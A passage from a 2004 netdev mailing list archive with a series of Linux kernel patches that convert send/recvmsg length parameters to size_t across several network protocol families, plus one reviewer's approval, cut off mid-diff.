Mon Dec 8 16:19:37 2003 @@ -630,7 +630,8 @@ return 0; } -static int sco_sock_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, int len) +static int sco_sock_sendmsg(struct kiocb *iocb, struct socket *sock, + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; int err = 0; From shemminger@osdl.org Thu Jan 8 13:41:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 13:41:33 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08LfJTa029044 for ; Thu, 8 Jan 2004 13:41:19 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08Lf8o04216; Thu, 8 Jan 2004 13:41:08 -0800 Date: Fri, 9 Jan 2004 13:42:15 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, Michal Ostrowski Subject: [PATCH] (4/17) pppoe -- size_t in send/recvmsg Message-Id: <20040109134215.14fbcf8a@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2288 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 760 Lines: 25 Convert PPPoe for size_t in send/recv msg diff -Nru a/drivers/net/pppoe.c b/drivers/net/pppoe.c --- a/drivers/net/pppoe.c Mon Dec 8 16:19:40 2003 +++ b/drivers/net/pppoe.c Mon Dec 8 16:19:40 2003 @@ -775,8 +775,8 @@ } -static int pppoe_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *m, - int total_len) +static int pppoe_sendmsg(struct kiocb *iocb, struct socket *sock, + struct msghdr *m, size_t total_len) { struct sk_buff *skb = NULL; struct sock *sk = sock->sk; @@ -939,7 +939,7 @@ }; static int pppoe_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *m, int total_len, int flags) + struct msghdr *m, size_t total_len, int flags) { struct sock *sk = sock->sk; struct sk_buff *skb = NULL; From shemminger@osdl.org Thu Jan 8 13:43:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 13:43:53 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08LheTa029410 for ; Thu, 8 Jan 2004 13:43:40 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08LhSo04595; Thu, 8 Jan 2004 13:43:29 -0800 Date: Fri, 9 Jan 2004 13:44:36 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, acme@conectiva.com.br Subject: [PATCH] (5/17) ddp -- size_t for send/recvmsg Message-Id: <20040109134436.6aa8fe1f@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2289 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 695 Lines: 23 Change send/recvmsg to match prototype change in sock.h diff -Nru a/net/appletalk/ddp.c b/net/appletalk/ddp.c --- a/net/appletalk/ddp.c Mon Dec 8 16:19:43 2003 +++ b/net/appletalk/ddp.c Mon Dec 8 16:19:43 2003 @@ -1552,7 +1552,7 @@ } static int atalk_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, - int len) + size_t len) { struct sock *sk = sock->sk; struct atalk_sock *at = at_sk(sk); @@ -1712,7 +1712,7 @@ } static int atalk_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, - int size, int flags) + size_t size, int flags) { struct sock *sk = sock->sk; struct sockaddr_at *sat = (struct sockaddr_at *)msg->msg_name; From shemminger@osdl.org Thu Jan 8 13:47:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 13:47:42 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08LlSTa029857 for ; Thu, 8 Jan 2004 13:47:28 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08Ll5o05168; Thu, 8 Jan 2004 13:47:05 -0800 Date: Fri, 9 Jan 2004 13:48:12 -0800 From: Stephen Hemminger To: "David S. Miller" , Chas Williams Cc: netdev@oss.sgi.com Subject: [PATCH[ (6/15) atm -- size_t in send/recvmsg Message-Id: <20040109134812.6fa874c8@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2291 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1368 Lines: 38 Convert ATM for unsigned length send/recvmsg to match new prototype. diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Mon Dec 8 16:19:46 2003 +++ b/net/atm/common.c Mon Dec 8 16:19:46 2003 @@ -463,7 +463,7 @@ int vcc_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, - int size, int flags) + size_t size, int flags) { struct sock *sk = sock->sk; struct atm_vcc *vcc; @@ -503,7 +503,7 @@ int vcc_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *m, - int total_len) + size_t total_len) { struct sock *sk = sock->sk; DEFINE_WAIT(wait); diff -Nru a/net/atm/common.h b/net/atm/common.h --- a/net/atm/common.h Mon Dec 8 16:19:46 2003 +++ b/net/atm/common.h Mon Dec 8 16:19:46 2003 @@ -14,9 +14,9 @@ int vcc_release(struct socket *sock); int vcc_connect(struct socket *sock, int itf, short vpi, int vci); int vcc_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, - int size, int flags); + size_t size, int flags); int vcc_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *m, - int total_len); + size_t total_len); unsigned int vcc_poll(struct file *file, struct socket *sock, poll_table *wait); int vcc_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg); int vcc_setsockopt(struct socket *sock, int level, int optname, char *optval, From shemminger@osdl.org Thu Jan 8 13:47:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 13:47:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08LlQTa029854 for ; Thu, 8 Jan 2004 13:47:27 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08Ll8o05200; Thu, 8 Jan 2004 13:47:08 -0800 Date: Fri, 9 Jan 2004 13:48:15 -0800 From: Stephen Hemminger To: "David S. Miller" , Ralf Baechle Cc: netdev@oss.sgi.com Subject: [PATCH] (7/15) ax25 - size_t in send/recvmsg Message-Id: <20040109134815.09ef4df0@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2290 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1254 Lines: 46 Convert Amateur Radio X.25 to unsigned size for send/receive. Also enforce an MTU here, since there is no fragmentation logic. diff -Nru a/net/ax25/af_ax25.c b/net/ax25/af_ax25.c --- a/net/ax25/af_ax25.c Mon Dec 8 16:19:49 2003 +++ b/net/ax25/af_ax25.c Mon Dec 8 16:19:49 2003 @@ -1415,7 +1415,7 @@ } static int ax25_sendmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sockaddr_ax25 *usax = (struct sockaddr_ax25 *)msg->msg_name; struct sock *sk = sock->sk; @@ -1424,7 +1424,8 @@ ax25_digi dtmp, *dp; unsigned char *asmptr; ax25_cb *ax25; - int lv, size, err, addr_len = msg->msg_namelen; + size_t size; + int lv, err, addr_len = msg->msg_namelen; if (msg->msg_flags & ~(MSG_DONTWAIT|MSG_EOR)) { return -EINVAL; @@ -1449,6 +1450,11 @@ goto out; } + if (len > ax25->ax25_dev->dev->mtu) { + err = -EMSGSIZE; + goto out; + } + if (usax != NULL) { if (usax->sax25_family != AF_AX25) { err = -EINVAL; @@ -1594,7 +1600,7 @@ } static int ax25_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, int flags) + struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct sk_buff *skb; From acme@conectiva.com.br Thu Jan 8 13:54:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 13:55:01 -0800 (PST) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08LslTa031032 for ; Thu, 8 Jan 2004 13:54:48 -0800 Received: from 4-203.ctame700-6.telepar.net.br ([200.140.237.203] helo=oops.kerneljanitors.org) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1AeiEN-0000eu-00; Thu, 08 Jan 2004 20:02:20 -0200 Received: by oops.kerneljanitors.org (Postfix, from userid 500) id B6C191966D; Thu, 8 Jan 2004 20:05:30 -0200 (BRDT) Date: Thu, 8 Jan 2004 20:05:30 -0200 From: Arnaldo Carvalho de Melo To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] (5/17) ddp -- size_t for send/recvmsg Message-ID: <20040108220530.GB3062@conectiva.com.br> References: <20040109134436.6aa8fe1f@linux.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040109134436.6aa8fe1f@linux.local> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.5.1i X-archive-position: 2292 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 363 Lines: 11 Em Fri, Jan 09, 2004 at 01:44:36PM -0800, Stephen Hemminger escreveu: > Change send/recvmsg to match prototype change in sock.h > > diff -Nru a/net/appletalk/ddp.c b/net/appletalk/ddp.c > --- a/net/appletalk/ddp.c Mon Dec 8 16:19:43 2003 > +++ b/net/appletalk/ddp.c Mon Dec 8 16:19:43 2003 > @@ -1552,7 +1552,7 @@ I'm OK with this, thanks Stephen. - Arnaldo From shemminger@osdl.org Thu Jan 8 14:02:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:03:10 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M2uTa031576 for ; Thu, 8 Jan 2004 14:02:56 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08M2fo08259; Thu, 8 Jan 2004 14:02:41 -0800 Date: Fri, 9 Jan 2004 14:03:11 -0800 From: Stephen Hemminger To: "David S. Miller" , acme@conectiva.com.br Cc: netdev@oss.sgi.com Subject: [PATCH] (13/17) llc -- size_t for send/recvmsg Message-Id: <20040109140311.66c2fa57@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2300 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1365 Lines: 40 Convert LLC to unsigned for send/recv msg. diff -Nru a/net/llc/af_llc.c b/net/llc/af_llc.c --- a/net/llc/af_llc.c Mon Dec 8 16:20:07 2003 +++ b/net/llc/af_llc.c Mon Dec 8 16:20:07 2003 @@ -671,12 +671,13 @@ * Returns non-negative upon success, negative otherwise. */ static int llc_ui_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, int flags) + struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct sockaddr_llc *uaddr = (struct sockaddr_llc *)msg->msg_name; struct sk_buff *skb; - int rc = -ENOMEM, copied = 0, timeout; + size_t copied = 0; + int rc = -ENOMEM, timeout; int noblock = flags & MSG_DONTWAIT; dprintk("%s: receiving in %02X from %02X\n", __FUNCTION__, @@ -725,7 +726,7 @@ * Returns non-negative upon success, negative otherwise. */ static int llc_ui_sendmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct llc_opt *llc = llc_sk(sk); @@ -734,7 +735,8 @@ int noblock = flags & MSG_DONTWAIT; struct net_device *dev; struct sk_buff *skb; - int rc = -EINVAL, size = 0, copied = 0, hdrlen; + size_t size = 0; + int rc = -EINVAL, copied = 0, hdrlen; dprintk("%s: sending from %02X to %02X\n", __FUNCTION__, llc->laddr.lsap, llc->daddr.lsap); From shemminger@osdl.org Thu Jan 8 14:02:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:03:10 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M2sTa031570 for ; Thu, 8 Jan 2004 14:02:54 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08M2fo08239; Thu, 8 Jan 2004 14:02:41 -0800 Date: Fri, 9 Jan 2004 14:02:58 -0800 From: Stephen Hemminger To: "David S. Miller" , Ralf Baechle Cc: netdev@oss.sgi.com Subject: [PATCH] (14/17) netrom -- size_t for send/recvmsg Message-Id: <20040109140258.34aa7c73@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2299 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 817 Lines: 28 Convert Netrom to unsigned length for send/receive msg. diff -Nru a/net/netrom/af_netrom.c b/net/netrom/af_netrom.c --- a/net/netrom/af_netrom.c Mon Dec 8 16:20:10 2003 +++ b/net/netrom/af_netrom.c Mon Dec 8 16:20:10 2003 @@ -1003,7 +1003,7 @@ } static int nr_sendmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; nr_cb *nr = nr_sk(sk); @@ -1112,11 +1112,11 @@ } static int nr_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, int flags) + struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct sockaddr_ax25 *sax = (struct sockaddr_ax25 *)msg->msg_name; - int copied; + size_t copied; struct sk_buff *skb; int er; From shemminger@osdl.org Thu Jan 8 14:02:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:03:08 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M2pTa031564 for ; Thu, 8 Jan 2004 14:02:51 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08M2bo08194; Thu, 8 Jan 2004 14:02:37 -0800 Date: Fri, 9 Jan 2004 14:03:36 -0800 From: Stephen Hemminger To: "David S. Miller" , Steven Whitehouse Cc: netdev@oss.sgi.com Subject: [PATCH] (9/17) decnet -- size_t in sned/recvmsg Message-Id: <20040109140336.45c393c5@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2297 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1582 Lines: 56 Send/recv msg now take an unsigned total message length. diff -Nru a/net/decnet/af_decnet.c b/net/decnet/af_decnet.c --- a/net/decnet/af_decnet.c Mon Dec 8 16:19:55 2003 +++ b/net/decnet/af_decnet.c Mon Dec 8 16:19:55 2003 @@ -1659,13 +1659,13 @@ static int dn_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, int flags) + struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct dn_scp *scp = DN_SK(sk); struct sk_buff_head *queue = &sk->sk_receive_queue; - int target = size > 1 ? 1 : 0; - int copied = 0; + size_t target = size > 1 ? 1 : 0; + size_t copied = 0; int rv = 0; struct sk_buff *skb, *nskb; struct dn_skb_cb *cb = NULL; @@ -1746,7 +1746,7 @@ } for(skb = queue->next; skb != (struct sk_buff *)queue; skb = nskb) { - int chunk = skb->len; + unsigned int chunk = skb->len; cb = DN_SKB_CB(skb); if ((chunk + copied) > size) @@ -1888,20 +1888,20 @@ } static int dn_sendmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size) + struct msghdr *msg, size_t size) { struct sock *sk = sock->sk; struct dn_scp *scp = DN_SK(sk); - int mss; + size_t mss; struct sk_buff_head *queue = &scp->data_xmit_queue; int flags = msg->msg_flags; int err = 0; - int sent = 0; + size_t sent = 0; int addr_len = msg->msg_namelen; struct sockaddr_dn *addr = (struct sockaddr_dn *)msg->msg_name; struct sk_buff *skb = NULL; struct dn_skb_cb *cb; - int len; + size_t len; unsigned char fctype; long timeo = sock_sndtimeo(sk, flags & MSG_DONTWAIT); From shemminger@osdl.org Thu Jan 8 14:02:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:03:09 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M2sTa031571 for ; Thu, 8 Jan 2004 14:02:55 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08M2eo08231; Thu, 8 Jan 2004 14:02:40 -0800 Date: Fri, 9 Jan 2004 14:02:23 -0800 From: Stephen Hemminger To: "David S. Miller" , Arnaldo Carvalho de Melo Cc: netdev@oss.sgi.com Subject: [PATCH] (8/17) ipx -- size_t for send/recvmsg Message-Id: <20040109140223.3926cbeb@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2298 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1575 Lines: 54 Convert IPX to unsigned for send/receive message length. Enforce MTU limited by header pktsize. diff -Nru a/net/ipx/af_ipx.c b/net/ipx/af_ipx.c --- a/net/ipx/af_ipx.c Mon Dec 8 16:19:52 2003 +++ b/net/ipx/af_ipx.c Mon Dec 8 16:19:52 2003 @@ -1683,7 +1683,7 @@ } static int ipx_sendmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct ipx_opt *ipxs = ipx_sk(sk); @@ -1698,6 +1698,10 @@ if (flags & ~MSG_DONTWAIT) goto out; + /* Max possible packet size limited by 16 bit pktsize in header */ + if (len >= 65535 - sizeof(struct ipxhdr)) + goto out; + if (usipx) { if (!ipxs->port) { struct sockaddr_ipx uaddr; @@ -1744,7 +1748,7 @@ static int ipx_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, int flags) + struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct ipx_opt *ipxs = ipx_sk(sk); diff -Nru a/net/ipx/ipx_route.c b/net/ipx/ipx_route.c --- a/net/ipx/ipx_route.c Mon Dec 8 16:19:52 2003 +++ b/net/ipx/ipx_route.c Mon Dec 8 16:19:52 2003 @@ -169,13 +169,13 @@ * Route an outgoing frame from a socket. */ int ipxrtr_route_packet(struct sock *sk, struct sockaddr_ipx *usipx, - struct iovec *iov, int len, int noblock) + struct iovec *iov, size_t len, int noblock) { struct sk_buff *skb; struct ipx_opt *ipxs = ipx_sk(sk); struct ipx_interface *intrfc; struct ipxhdr *ipx; - int size; + size_t size; int ipx_offset; struct ipx_route *rt = NULL; int rc; From shemminger@osdl.org Thu Jan 8 14:02:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:03:08 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M2qTa031565 for ; Thu, 8 Jan 2004 14:02:52 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08M2eo08235; Thu, 8 Jan 2004 14:02:40 -0800 Date: Fri, 9 Jan 2004 14:02:36 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (10/17) netlink/packet -- size_t for send/recvmsg Message-Id: <20040109140236.35fb993a@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2296 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2752 Lines: 93 Convert "maintance protocols" af_key, packet, netlink over to use unsigned length for send/receive message. diff -Nru a/net/key/af_key.c b/net/key/af_key.c --- a/net/key/af_key.c Mon Dec 8 16:19:58 2003 +++ b/net/key/af_key.c Mon Dec 8 16:19:58 2003 @@ -2655,7 +2655,7 @@ } static int pfkey_sendmsg(struct kiocb *kiocb, - struct socket *sock, struct msghdr *msg, int len) + struct socket *sock, struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct sk_buff *skb = NULL; @@ -2697,7 +2697,7 @@ } static int pfkey_recvmsg(struct kiocb *kiocb, - struct socket *sock, struct msghdr *msg, int len, + struct socket *sock, struct msghdr *msg, size_t len, int flags) { struct sock *sk = sock->sk; diff -Nru a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c --- a/net/netlink/af_netlink.c Mon Dec 8 16:19:58 2003 +++ b/net/netlink/af_netlink.c Mon Dec 8 16:19:58 2003 @@ -601,7 +601,7 @@ } static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock_iocb *siocb = kiocb_to_siocb(kiocb); struct sock *sk = sock->sk; @@ -641,7 +641,7 @@ } err = -EMSGSIZE; - if ((unsigned)len > sk->sk_sndbuf - 32) + if (len > sk->sk_sndbuf - 32) goto out; err = -ENOBUFS; skb = alloc_skb(len, GFP_KERNEL); @@ -683,7 +683,7 @@ } static int netlink_recvmsg(struct kiocb *kiocb, struct socket *sock, - struct msghdr *msg, int len, + struct msghdr *msg, size_t len, int flags) { struct sock_iocb *siocb = kiocb_to_siocb(kiocb); @@ -691,7 +691,7 @@ struct sock *sk = sock->sk; struct netlink_opt *nlk = nlk_sk(sk); int noblock = flags&MSG_DONTWAIT; - int copied; + size_t copied; struct sk_buff *skb; int err; diff -Nru a/net/packet/af_packet.c b/net/packet/af_packet.c --- a/net/packet/af_packet.c Mon Dec 8 16:19:58 2003 +++ b/net/packet/af_packet.c Mon Dec 8 16:19:58 2003 @@ -279,7 +279,7 @@ */ static int packet_sendmsg_spkt(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct sockaddr_pkt *saddr=(struct sockaddr_pkt *)msg->msg_name; @@ -651,7 +651,7 @@ static int packet_sendmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct sockaddr_ll *saddr=(struct sockaddr_ll *)msg->msg_name; @@ -999,7 +999,7 @@ */ static int packet_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len, int flags) + struct msghdr *msg, size_t len, int flags) { struct sock *sk = sock->sk; struct sk_buff *skb; From shemminger@osdl.org Thu Jan 8 14:02:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:03:06 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M2oTa031562 for ; Thu, 8 Jan 2004 14:02:50 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08M2do08223; Thu, 8 Jan 2004 14:02:39 -0800 Date: Fri, 9 Jan 2004 14:01:16 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (16/17) af_unix -- size_t for send/recvmsg Message-Id: <20040109140116.639569b6@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2294 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1490 Lines: 50 Convert Unix domain to handle unsigned for length in send/recv msg. diff -Nru a/net/unix/af_unix.c b/net/unix/af_unix.c --- a/net/unix/af_unix.c Mon Dec 8 16:20:16 2003 +++ b/net/unix/af_unix.c Mon Dec 8 16:20:16 2003 @@ -1176,7 +1176,7 @@ */ static int unix_dgram_sendmsg(struct kiocb *kiocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock_iocb *siocb = kiocb_to_siocb(kiocb); struct sock *sk = sock->sk; @@ -1217,7 +1217,7 @@ goto out; err = -EMSGSIZE; - if ((unsigned)len > sk->sk_sndbuf - 32) + if (len > sk->sk_sndbuf - 32) goto out; skb = sock_alloc_send_skb(sk, len, msg->msg_flags&MSG_DONTWAIT, &err); @@ -1324,7 +1324,7 @@ static int unix_stream_sendmsg(struct kiocb *kiocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock_iocb *siocb = kiocb_to_siocb(kiocb); struct sock *sk = sock->sk; @@ -1447,7 +1447,7 @@ } static int unix_dgram_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, + struct msghdr *msg, size_t size, int flags) { struct sock_iocb *siocb = kiocb_to_siocb(iocb); @@ -1555,7 +1555,7 @@ static int unix_stream_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, + struct msghdr *msg, size_t size, int flags) { struct sock_iocb *siocb = kiocb_to_siocb(iocb); From shemminger@osdl.org Thu Jan 8 14:02:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:03:06 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M2oTa031563 for ; Thu, 8 Jan 2004 14:02:51 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08M2do08227; Thu, 8 Jan 2004 14:02:39 -0800 Date: Fri, 9 Jan 2004 14:02:08 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (17/17) x25 -- size_t for send/recvmsg Message-Id: <20040109140208.7dd9a0fe@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2295 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1170 Lines: 41 Convert X.25 to handle unsigned for len in send/receive msg. diff -Nru a/net/x25/af_x25.c b/net/x25/af_x25.c --- a/net/x25/af_x25.c Mon Dec 8 16:20:19 2003 +++ b/net/x25/af_x25.c Mon Dec 8 16:20:19 2003 @@ -910,7 +910,7 @@ } static int x25_sendmsg(struct kiocb *iocb, struct socket 